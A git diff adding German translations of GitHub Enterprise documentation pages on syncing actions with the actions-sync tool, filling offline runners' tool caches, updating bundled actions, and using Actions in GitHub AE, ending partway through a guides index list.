diff --git a/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md
new file mode 100644
index 0000000000..a9440c0d02
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md
@@ -0,0 +1,102 @@
+---
+title: Manuelles Synchronisieren von Aktionen über GitHub.com
+intro: 'Für Benutzer*innen, die Zugriff auf Aktionen von {% data variables.product.prodname_dotcom_the_website %} benötigen, kannst du bestimmte Aktionen in deinem Unternehmen synchronisieren.'
+redirect_from:
+  - /enterprise/admin/github-actions/manually-syncing-actions-from-githubcom
+  - /admin/github-actions/manually-syncing-actions-from-githubcom
+versions:
+  ghes: '*'
+  ghae: '*'
+type: tutorial
+topics:
+  - Actions
+  - Enterprise
+shortTitle: Manually sync actions
+ms.openlocfilehash: f4fe3aaecfa805b2a5966c0b2c41399529c2040e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107269'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.actions.enterprise-no-internet-actions %}
+
+{% ifversion ghes or ghae %}
+
+Wenn du Zugriff auf Aktionen von {% data variables.product.prodname_dotcom_the_website %} aktivieren möchtest, besteht die empfohlene Vorgehensweise darin, automatischen Zugriff auf alle Aktionen zu aktivieren. Dazu verwendest du {% data variables.product.prodname_github_connect %}, um {% data variables.product.product_name %} mit {% data variables.product.prodname_ghe_cloud %} zu integrieren. Weitere Informationen findest du unter [Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen mithilfe von {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect).
+
+Wenn du jedoch eine strengere Kontrolle darüber wünschst, welche Aktionen in deinem Unternehmen zulässig sind, kannst{% else %}du{% endif %} diesem Leitfaden folgen, um das Open-Source-[`actions-sync`](https://github.com/actions/actions-sync)-Tool von {% data variables.product.company_short %} dazu zu verwenden, einzelne Aktionsrepositorys von {% data variables.product.prodname_dotcom_the_website %} mit deinem Unternehmen zu synchronisieren.
+
+## Informationen zum `actions-sync`-Tool
+
+Das `actions-sync`-Tool muss auf einem Computer ausgeführt werden, von dem auf die {% data variables.product.prodname_dotcom_the_website %}-API sowie auf die API deiner {% data variables.product.product_name %}-Instanz zugegriffen werden kann. Der Computer muss nicht gleichzeitig mit beiden APIs verbunden sein.
+
+Wenn mit dem Computer auf beide Systeme gleichzeitig zugegriffen werden kann, kannst du die Synchronisierung mit einem einzelnen `actions-sync sync`-Befehl ausführen. Wenn du jeweils nur auf ein System zugreifen kannst, kannst du die Befehle `actions-sync pull` und `push` verwenden.
+
+Mit dem `actions-sync`-Tool können nur Aktionen von {% data variables.product.prodname_dotcom_the_website %} heruntergeladen werden, die in öffentlichen Repositorys gespeichert sind.
+
+{% note %}
+
+**Hinweis:** Das `actions-sync`-Tool ist für die Verwendung auf Systemen vorgesehen, auf denen {% data variables.product.prodname_github_connect %} nicht aktiviert ist. Wenn du das Tool auf einem System ausführst, auf dem {% data variables.product.prodname_github_connect %} aktiviert ist, wird möglicherweise der Fehler `The repository <repo_name> has been retired and cannot be reused` angezeigt. Dies deutet darauf hin, dass ein Workflow die Aktion direkt auf {% data variables.product.prodname_dotcom_the_website %} verwendet hat und der Namespace auf {% data variables.location.product_location %} deaktiviert ist. Weitere Informationen findest du unter [Automatisches Deaktivieren von Namespaces für Aktionen, auf die über {% data variables.product.prodname_dotcom_the_website%} zugegriffen wird](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom). 
+
+{% endnote %}
+
+## Voraussetzungen
+
+* Bevor du das `actions-sync`-Tool verwendest, musst du dich vergewissern, dass alle Zielorganisationen bereits in deinem Unternehmen vorhanden bist. Im folgenden Beispiel wird veranschaulicht, wie Aktionen mit einer Organisation namens `synced-actions` synchronisiert werden. Weitere Informationen findest du unter [Erstellen einer neuen Organisation von Grund auf](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch).
+* Du musst ein persönliches Zugriffstoken {% data variables.product.pat_generic %} für dein Unternehmen erstellen, mit dem das Erstellen und Schreiben in Repositorys in den Zielorganisationen möglich ist. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token).{% ifversion ghes %}
+* Wenn du die gebündelten Aktionen in der Organisation `actions` in {% data variables.location.product_location %} synchronisieren möchtest, musst du Besitzer der Organisation `actions` sein.
+
+  {% note %}
+  
+  **Hinweis:** Standardmäßig sind nicht einmal Websiteadministratoren Besitzer der Organisation `actions` mit den gebündelten Aktionen.
+  
+  {% endnote %}
+
+  Websiteadministratoren können den Befehl `ghe-org-admin-promote` in der Verwaltungsshell verwenden, um einen Benutzer zum Besitzer der Organisation `actions` mit den gebündelten Aktionen hochzustufen. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungsshell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh) und [`ghe-org-admin-promote`](/admin/configuration/command-line-utilities#ghe-org-admin-promote).
+
+  ```shell
+  ghe-org-admin-promote -u USERNAME -o actions
+  ```{% endif %}
+
+## Example: Using the `actions-sync` tool
+
+This example demonstrates using the `actions-sync` tool to sync an individual action from {% data variables.product.prodname_dotcom_the_website %} to an enterprise instance.
+
+{% note %}
+
+**Note:** This example uses the `actions-sync sync` command, which requires concurrent access to both the {% data variables.product.prodname_dotcom_the_website %} API and your enterprise instance's API from your machine. If you can only access one system at a time, you can use the `actions-sync pull` and `push` commands. For more information, see the [`actions-sync` README](https://github.com/actions/actions-sync#not-connected-instances).
+
+{% endnote %}
+
+1. Download and extract the latest [`actions-sync` release](https://github.com/actions/actions-sync/releases) for your machine's operating system.
+1. Create a directory to store cache files for the tool.
+1. Run the `actions-sync sync` command:
+
+   ```shell
+   ./actions-sync sync \
+     --cache-dir "cache" \
+     --destination-token "aabbccddeeffgg" \
+     --destination-url "https://my-ghes-instance" \
+     --repo-name "actions/stale:synced-actions/actions-stale"
+   ```
+
+   Im obigen Befehl werden die folgenden Argumente verwendet:
+
+   * `--cache-dir`: Das Cacheverzeichnis auf dem Computer, auf dem der Befehl ausgeführt wird.
+   * `--destination-token`: Ein {% data variables.product.pat_generic %} für die Zielunternehmensinstanz.
+   * `--destination-url`: Die URL der Zielunternehmensinstanz.
+   * `--repo-name`: Das Aktionsrepository, das synchronisiert werden soll. Dieses nimmt das Format `owner/repository:destination_owner/destination_repository` an.
+     
+     * Im obigen Beispiel wird das Repository [`actions/stale`](https://github.com/actions/stale) mit dem Repository `synced-actions/actions-stale` in der Zielunternehmensinstanz synchronisiert. Du musst die Organisation namens `synced-actions` in deinem Unternehmen erstellen, bevor du den obigen Befehl ausführst.
+     * Wenn du `:destination_owner/destination_repository` weglässt, wird vom Tool der ursprüngliche Besitzer- und Repositoryname für dein Unternehmen verwendet. Bevor du den Befehl ausführst, musst du eine neue Organisation in deinem Unternehmen erstellen, die dem Besitzernamen der Aktion entspricht. Verwende am besten eine zentrale Organisation, um die synchronisierten Aktionen in deinem Unternehmen zu speichern, da dies bedeutet, dass du nicht mehrere neue Organisationen erstellen musst, wenn du Aktionen von verschiedenen Besitzern synchronisierst.
+     * Du kannst mehrere Aktionen synchronisieren, indem du den Parameter `--repo-name` durch `--repo-name-list` oder `--repo-name-list-file` ersetzt. Weitere Informationen findest du in der [`actions-sync`-Infodatei](https://github.com/actions/actions-sync#actions-sync).
+1. Nachdem das Aktionsrepository in deinem Unternehmen erstellt wurde, können Personen in deinem Unternehmen das Zielrepository verwenden, um in ihren Workflows auf die Aktion zu verweisen. Für die oben gezeigte Beispielaktion:
+   
+   ```yaml
+   uses: synced-actions/actions-stale@v1
+   ```
+
+   Weitere Informationen findest du unter [Workflowsyntax für GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses).
diff --git a/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
new file mode 100644
index 0000000000..864abe7f6e
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md
@@ -0,0 +1,101 @@
+---
+title: Einrichten des Toolcaches auf selbstgehosteten Runnern ohne Internetzugriff
+intro: 'Um die enthaltenen `actions/setup`-Aktionen auf selbstgehosteten Runnern ohne Internetzugriff zu verwenden, musst du zunächst den Toolcache des Runners für deine Workflows auffüllen.'
+redirect_from:
+  - /enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
+  - /admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
+versions:
+  ghes: '*'
+  ghae: '*'
+type: tutorial
+topics:
+  - Actions
+  - Enterprise
+  - Networking
+  - Storage
+shortTitle: Tool cache for offline runners
+ms.openlocfilehash: fe1b070880db8353064f1be5a26b0a63a5e92cf5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147529296'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu den enthaltenen Setupaktionen und dem Runnertoolcache
+
+{% data reusables.actions.enterprise-no-internet-actions %}
+
+Die meisten offiziellen von {% data variables.product.prodname_dotcom %} erstellten Aktionen werden automatisch mit {% data variables.product.product_name %} kombiniert. Selbstgehostete Runner ohne Internetzugang müssen jedoch erst konfiguriert werden, bevor sie die enthaltenen `actions/setup-LANGUAGE`-Aktionen wie z. B. `setup-node` nutzen können.
+
+Die `actions/setup-LANGUAGE`-Aktionen benötigen normalerweise Internetzugriff, um die erforderlichen Umgebungsbinärdateien in den Toolcache des Runners herunterzuladen. Selbstgehostete Runner ohne Internetzugriff können die Binärdateien nicht herunterladen, sodass du den Toolcache auf dem Runner manuell auffüllen musst.
+
+Du kannst den Runnertoolcache auffüllen, indem du einen {% data variables.product.prodname_actions %}-Workflow auf {% data variables.product.prodname_dotcom_the_website %} ausführst, der einen auf {% data variables.product.prodname_dotcom %} gehosteten Toolcache des Runners als Artefakt hochlädt, das du dann auf deinen nicht mit dem Internet verbundenen, selbstgehosteten Runner übertragen und extrahieren kannst.
+
+{% note %}
+
+**Hinweis:** Du kannst nur einen auf {% data variables.product.prodname_dotcom %} gehosteten Toolcache für einen selbstgehosteten Runner verwenden, der über ein identisches Betriebssystem und eine identische Architektur verfügt. Wenn du beispielsweise einen {% data variables.product.prodname_dotcom %}-gehosteten Runner für `ubuntu-22.04` verwendest, um einen Toolcache zu generieren, muss dein selbstgehosteter Runner ein 64-Bit-Computer mit Ubuntu 22.04 sein. Weitere Informationen zu {% data variables.product.prodname_dotcom %}-gehosteten Runnern findest du unter [Informationen zu {% data variables.product.prodname_dotcom %}-gehosteten Runnern](/free-pro-team@latest/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).
+
+{% endnote %}
+
+## Voraussetzungen
+
+* Du musst wissen, welche Entwicklungsumgebungen deine selbstgehosteten Runner benötigen. Im folgenden Beispiel wird veranschaulicht, wie ein Toolcache für die `setup-node`-Aktion mit den Node.js-Versionen 10 und 12 aufgefüllt wird.
+* Greife auf ein Repository auf {% data variables.product.prodname_dotcom_the_website %} zu, das du zur Ausführung eines Workflows verwenden kannst.
+* Greife auf das Dateisystem deines selbstgehosteten Runners zu, um den Ordner des Toolcaches aufzufüllen.
+
+## Auffüllen des Toolcaches für einen selbstgehosteten Runner
+
+1. Navigiere auf {% data variables.product.prodname_dotcom_the_website %} zu einem Repository, das du zur Ausführung eines {% data variables.product.prodname_actions %}-Workflows verwenden kannst.
+1. Erstelle eine neue Workflowdatei im Ordner des Repositorys `.github/workflows`, die ein Artefakt hochlädt, das den auf {% data variables.product.prodname_dotcom %} gehosteten Toolcache des Runners enthält.
+
+   Das folgende Beispiel zeigt einen Workflow, der den Toolcache für eine Ubuntu 22.04-Umgebung hochlädt, wobei die Aktion `setup-node` mit den Node.js-Versionen 10 und 12 verwendet wird.
+
+   ```yaml
+   name: Upload Node.js 10 and 12 tool cache
+   on: push
+   jobs:
+     upload_tool_cache:
+       runs-on: ubuntu-22.04
+       steps:
+         - name: Clear any existing tool cache
+           run: |
+             mv "{% raw %}${{ runner.tool_cache }}" "${{ runner.tool_cache }}.old"{% endraw %}
+             mkdir -p "{% raw %}${{ runner.tool_cache }}{% endraw %}"
+         - name: Setup Node 10
+           uses: {% data reusables.actions.action-setup-node %}
+           with:
+             node-version: 10.x
+         - name: Setup Node 12
+           uses: {% data reusables.actions.action-setup-node %}
+           with:
+             node-version: 12.x
+         - name: Archive tool cache
+           run: |
+             cd "{% raw %}${{ runner.tool_cache }}{% endraw %}"
+             tar -czf tool_cache.tar.gz *
+         - name: Upload tool cache artifact
+           uses: {% data reusables.actions.action-upload-artifact %}
+           with:
+             path: {% raw %}${{runner.tool_cache}}/tool_cache.tar.gz{% endraw %}
+   ```
+1. Lade das Toolcacheartefakt aus der Workflowausführung herunter. Anweisungen zum Herunterladen von Artefakten findest du unter [Herunterladen von Workflowartefakten](/actions/managing-workflow-runs/downloading-workflow-artifacts).
+1. Übertrage das Toolcacheartefakt in deinen selbstgehosteten Runner, und extrahiere es in das lokale Toolcacheverzeichnis. Das Standardverzeichnis für den Toolcache ist `RUNNER_DIR/_work/_tool`. Wenn der Runner noch keine Aufträge verarbeitet hat, musst du möglicherweise die `_work/_tool`-Verzeichnisse erstellen.
+
+    Nach dem Extrahieren des Toolcacheartefaktes, das im obigen Beispiel hochgeladen wurde, sollte eine Verzeichnisstruktur auf deinem selbstgehosteten Runner vorhanden sein, die dem folgenden Beispiel ähnelt:
+
+    ```
+    RUNNER_DIR
+    ├── ...
+    └── _work
+        ├── ...
+        └── _tool
+            └── node
+                ├── 10.22.0
+                │   └── ...
+                └── 12.18.3
+                    └── ...
+    ```
+
+Dein selbstgehosteter Runner ohne Internetzugriff sollte jetzt in der Lage sein, die `setup-node`-Aktion zu verwenden. Wenn Probleme auftreten, stelle sicher, dass du den richtigen Toolcache für deine Workflows aufgefüllt hast. Wenn du beispielsweise die `setup-python`-Aktion verwenden musst, fülle den Toolcache mit der Python-Umgebung auf, die du verwenden möchtest.
diff --git a/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md
new file mode 100644
index 0000000000..71504ab141
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md
@@ -0,0 +1,59 @@
+---
+title: Verwenden der neuesten Version der offiziellen gebündelten Aktionen
+intro: 'Du kannst die Aktionen aktualisieren, die mit deinem Unternehmen gebündelt werden. Du kannst Aktionen auch direkt über {% data variables.product.prodname_dotcom_the_website %} verwenden.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - GitHub Connect
+redirect_from:
+  - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions
+shortTitle: Use the latest bundled actions
+ms.openlocfilehash: a86c731602bc39cc35fbff823ebdbfbdf2dec2c9
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107029'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+Deine Unternehmensinstanz enthält eine Reihe integrierter Aktionen, die du in deinen Workflows verwenden kannst. Weitere Informationen zu den gebündelten Aktionen findest du unter [Offizielle Aktionen, die mit deiner Unternehmensinstanz gebündelt sind](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance).
+
+Diese gebündelten Aktionen sind eine Punkt-in-Time-Momentaufnahme der offiziellen Aktionen, die auf https://github.com/actions verfügbar sind, es gibt also möglicherweise neuere Versionen dieser Aktionen. Du kannst das `actions-sync`-Tool verwenden, um diese Aktionen zu aktualisieren, du kannst aber auch {% data variables.product.prodname_github_connect %} konfigurieren, um den Zugriff auf die neuesten Aktionen auf {% data variables.product.prodname_dotcom_the_website %} zu gewähren. Diese Optionen sind in den folgenden Abschnitten beschrieben.
+
+## Verwenden von `actions-sync` zum Aktualisieren der gebündelten Aktionen
+
+Um die gebündelten Aktionen zu aktualisieren, kannst du das `actions-sync`-Tool verwenden, um die Momentaufnahme zu aktualisieren. Weitere Informationen zur Verwendung von `actions-sync` findest du unter [Manuelles Synchronisieren von Aktionen von {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom).
+
+## Verwenden von {% data variables.product.prodname_github_connect %} für den Zugriff auf die neuesten Aktionen
+
+Du kannst {% data variables.product.prodname_github_connect %} verwenden, um zuzulassen, dass {% data variables.product.product_name %} Aktionen von {% data variables.product.prodname_dotcom_the_website %} verwendet. Weitere Informationen findest du unter [Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen mithilfe von {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect).
+
+Nachdem {% data variables.product.prodname_github_connect %} konfiguriert wurde, kannst du die neueste Version einer Aktion verwenden, indem du das lokale Repository in der `actions`-Organisation in deiner Instanz löschst. Wenn deine Unternehmensinstanz beispielsweise `v1` der `actions/checkout`-Aktion verwendet und du `{% data reusables.actions.action-checkout %}` verwenden musst, was nicht in deiner Unternehmensinstanz verfügbar ist, führe die folgenden Schritte aus, damit du die neueste `checkout`-Aktion von {% data variables.product.prodname_dotcom_the_website %} verwenden kannst:
+
+1. Navigiere aus einem Unternehmensinhaberkonto auf {% data variables.product.product_name %} zum Repository, das du aus der *actions*-Organisation löschen möchtest (in diesem Beispiel `checkout`).
+1. Standardmäßig sind Websiteadministrator*innen keine Besitzer der gebündelten *actions*-Organisation. Um den Zugriff zu erhalten, der zum Löschen des `checkout`-Repositorys benötigt wird, musst du die Websiteadministratortools verwenden. Klicke in der oberen rechten Ecke einer beliebigen Seite in diesem Repository auf {% octicon "rocket" aria-label="The rocket ship" %}.
+  ![Raumschiffsymbol für den Zugriff auf die Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+1. Klicke auf {% octicon "shield-lock" %} **Sicherheit**, um die Sicherheitsübersicht für das Repository anzuzeigen.
+  ![Sicherheitsheader des Repositorys](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png)
+1. Klicke unter „Privilegierter Zugriff“ auf **Entsperren**.
+  ![Schaltfläche „Entsperren“](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png)
+1. Gib unter **Grund** einen Grund für das Entsperren des Repositorys ein, und klicke auf **Entsperren**.
+  ![Bestätigungsdialogfeld](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png)
+1. Nachdem das Repository entsperrt ist, kannst du die Websiteadministratorseiten verlassen und das Repository innerhalb der `actions`-Organisation löschen. Klicke oben auf der Seite auf den Repositorynamen, in diesem Beispiel **checkout**, um zur Zusammenfassungsseite zurückzukehren.
+  ![Link zum Repositorynamen](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png)
+1. Klicke unter „Repositoryinformationen“ auf **Code anzeigen**, um die Websiteadministratorseiten zu verlassen und das `checkout`-Repository anzuzeigen.
+1. Lösche das `checkout`-Repository innerhalb der `actions`-Organisation. Informationen zum Löschen eines Repositorys findest du unter [Löschen eines Repositorys](/github/administering-a-repository/deleting-a-repository).
+  ![Link „Code anzeigen“](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png)
+1. Konfiguriere die YAML-Datei deines Workflows so, dass sie `{% data reusables.actions.action-checkout %}` verwendet.
+1. Bei jeder Ausführung deines Workflows verwendet der Runner die angegebene Version von `actions/checkout` von {% data variables.product.prodname_dotcom_the_website %}.
+
+   {% note %}
+
+   **Hinweis:** Wenn die `checkout`-Aktion zum ersten Mal von {% data variables.product.prodname_dotcom_the_website %} verwendet wird, wird der `actions/checkout`-Namespace automatisch für {% data variables.location.product_location %} eingestellt. Wenn du jemals eine lokale Kopie der Aktion wiederherstellen möchtest, musst du zuerst den Namespace aus der Deaktivierungsphase entfernen. Weitere Informationen findest du unter [Automatisches Deaktivieren von Namespaces für Aktionen, auf die über {% data variables.product.prodname_dotcom_the_website%} zugegriffen wird](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom).
+
+   {% endnote %}
diff --git a/translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/index.md b/translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/index.md
new file mode 100644
index 0000000000..0f6076d66b
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/index.md
@@ -0,0 +1,16 @@
+---
+title: "Verwenden von GitHub Actions in GitHub\_AE"
+intro: 'Erfahre, wie du {% data variables.product.prodname_actions %} in {% data variables.product.prodname_ghe_managed %} konfigurierst.'
+versions:
+  ghae: '*'
+children:
+  - /using-actions-in-github-ae
+shortTitle: Use Actions in GitHub AE
+ms.openlocfilehash: ad3e900295b688fef4c4df7fae89595b9d9f4c4f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104931'
+---
+
diff --git a/translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
new file mode 100644
index 0000000000..503b392c1c
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
@@ -0,0 +1,30 @@
+---
+title: "Verwenden von Aktionen in GitHub\_AE"
+intro: '{% data variables.product.prodname_ghe_managed %} umfasst die meisten der von {% data variables.product.prodname_dotcom %} erstellten Aktionen.'
+versions:
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+redirect_from:
+  - /admin/github-actions/using-actions-in-github-ae
+shortTitle: Use actions
+ms.openlocfilehash: a8439a08f73667b7d048b31e2c9eb3968ba2e957
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106780'
+---
+Workflows von {% data variables.product.prodname_actions %} kannst _Aktionen_ verwenden, bei denen es sich um einzelne Vorgänge handelt, die du zum Erstellen von Aufträgen und dem Anpassen des Workflows kombinieren kannst. Du kannst eigene Aktionen erstellen oder Aktionen verwenden und anpassen, die von der {% data variables.product.prodname_dotcom %}-Community geteilt wurden.
+
+## Offizielle Aktionen, die in {% data variables.product.prodname_ghe_managed %} enthalten sind
+
+Die meisten offiziellen, über {% data variables.product.prodname_dotcom %} erstellten Aktionen werden automatisch mit {% data variables.product.prodname_ghe_managed %} gebündelt und zu einem bestimmten Zeitpunkt über {% data variables.product.prodname_marketplace %} erfasst. Wenn deine {% data variables.product.prodname_ghe_managed %}-Instanz aktualisiert wird, werden auch die gebündelten offiziellen Aktionen aktualisiert.
+
+Zu den gebündelten offiziellen Aktionen zählen unter anderem `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler` und verschiedene Aktionen vom Typ `actions/setup-`. Navigiere in deiner Instanz zu den folgenden Organisationen, um zu sehen, welche offiziellen Aktionen enthalten sind: 
+- <code>https://<em>HOSTNAME</em>/actions</code>
+- <code>https://<em>HOSTNAME</em>/github</code>
+
+Die Dateien jeder Aktion befinden sich in einem Repository in den Organisationen `actions` und `github`. Jedes Aktionsrepository enthält die erforderlichen Tags, Branches und Commit-SHAs, mit denen deine Workflows auf die Aktion verweisen können.
diff --git a/translations/de-DE/content/admin/guides.md b/translations/de-DE/content/admin/guides.md
new file mode 100644
index 0000000000..44266acb30
--- /dev/null
+++ b/translations/de-DE/content/admin/guides.md
@@ -0,0 +1,157 @@
+---
+title: GitHub Enterprise Führungslinien
+shortTitle: Guides
+intro: 'Erfahre, wie du die Produktivität und Codequalität von Entwicklern mit {% data variables.product.product_name %} steigerst.'
+allowTitleToDifferFromFilename: true
+layout: product-guides
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+learningTracks:
+  - '{% ifversion ghec %}get_started_with_your_enterprise_account{% endif %}'
+  - '{% ifversion ghae %}get_started_with_github_ae{% endif %}'
+  - '{% ifversion ghes %}deploy_an_instance{% endif %}'
+  - '{% ifversion ghes %}upgrade_your_instance{% endif %}'
+  - adopting_github_actions_for_your_enterprise_ghec
+  - adopting_github_actions_for_your_enterprise_ghes_and_ghae
+  - '{% ifversion ghes %}increase_fault_tolerance{% endif %}'
+  - '{% ifversion ghes %}improve_security_of_your_instance{% endif %}'
+  - '{% ifversion ghes > 2.22 %}configure_github_actions{% endif %}'
+  - '{% ifversion ghes > 2.22 %}configure_github_advanced_security{% endif %}'
+includeGuides:
+  - /admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider
+  - /admin/authentication/changing-authentication-methods
+  - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
+  - /admin/authentication/configuring-saml-single-sign-on-for-your-enterprise
+  - /admin/authentication/configuring-user-provisioning-for-your-enterprise
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta
+  - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups
+  - /admin/authentication/using-cas
+  - /admin/authentication/using-ldap
+  - /admin/authentication/using-saml
+  - /admin/configuration/accessing-the-administrative-shell-ssh
+  - /admin/configuration/accessing-the-management-console
+  - /admin/configuration/configuring-a-hostname
+  - /admin/configuration/configuring-backups-on-your-appliance
+  - /admin/configuration/configuring-built-in-firewall-rules
+  - /admin/configuration/configuring-code-scanning-for-your-appliance
+  - /admin/configuration/configuring-data-encryption-for-your-enterprise
+  - /admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance
+  - /admin/configuration/configuring-dns-nameservers
+  - /admin/configuration/configuring-rate-limits
+  - /admin/configuration/configuring-secret-scanning-for-your-appliance
+  - /admin/configuration/configuring-tls
+  - /admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise
+  - /admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise
+  - /admin/configuration/connecting-your-enterprise-account-to-github-enterprise-cloud
+  - /admin/configuration/configuring-your-enterprise/configuring-ssh-connections-to-your-instance
+  - /admin/configuration/configuring-your-enterprise/configuring-host-keys-for-your-instance
+  - /admin/configuration/enabling-and-scheduling-maintenance-mode
+  - /admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise
+  - /admin/configuration/enabling-private-mode
+  - /admin/configuration/enabling-subdomain-isolation
+  - /admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise
+  - /admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise
+  - /admin/configuration/initializing-github-ae
+  - /admin/configuration/network-ports
+  - /admin/configuration/restricting-network-traffic-to-your-enterprise
+  - /admin/configuration/site-admin-dashboard
+  - /admin/configuration/troubleshooting-ssl-errors
+  - /admin/configuration/using-github-enterprise-server-with-a-load-balancer
+  - /admin/enterprise-management/about-high-availability-configuration
+  - /admin/enterprise-management/accessing-the-monitor-dashboard
+  - /admin/enterprise-management/creating-a-high-availability-replica
+  - /admin/enterprise-management/differences-between-clustering-and-high-availability-ha
+  - /admin/enterprise-management/enabling-automatic-update-checks
+  - /admin/enterprise-management/initiating-a-failover-to-your-replica-appliance
+  - /admin/enterprise-management/recommended-alert-thresholds
+  - /admin/enterprise-management/setting-up-external-monitoring
+  - /admin/enterprise-management/upgrade-requirements
+  - /admin/enterprise-management/upgrading-github-enterprise-server
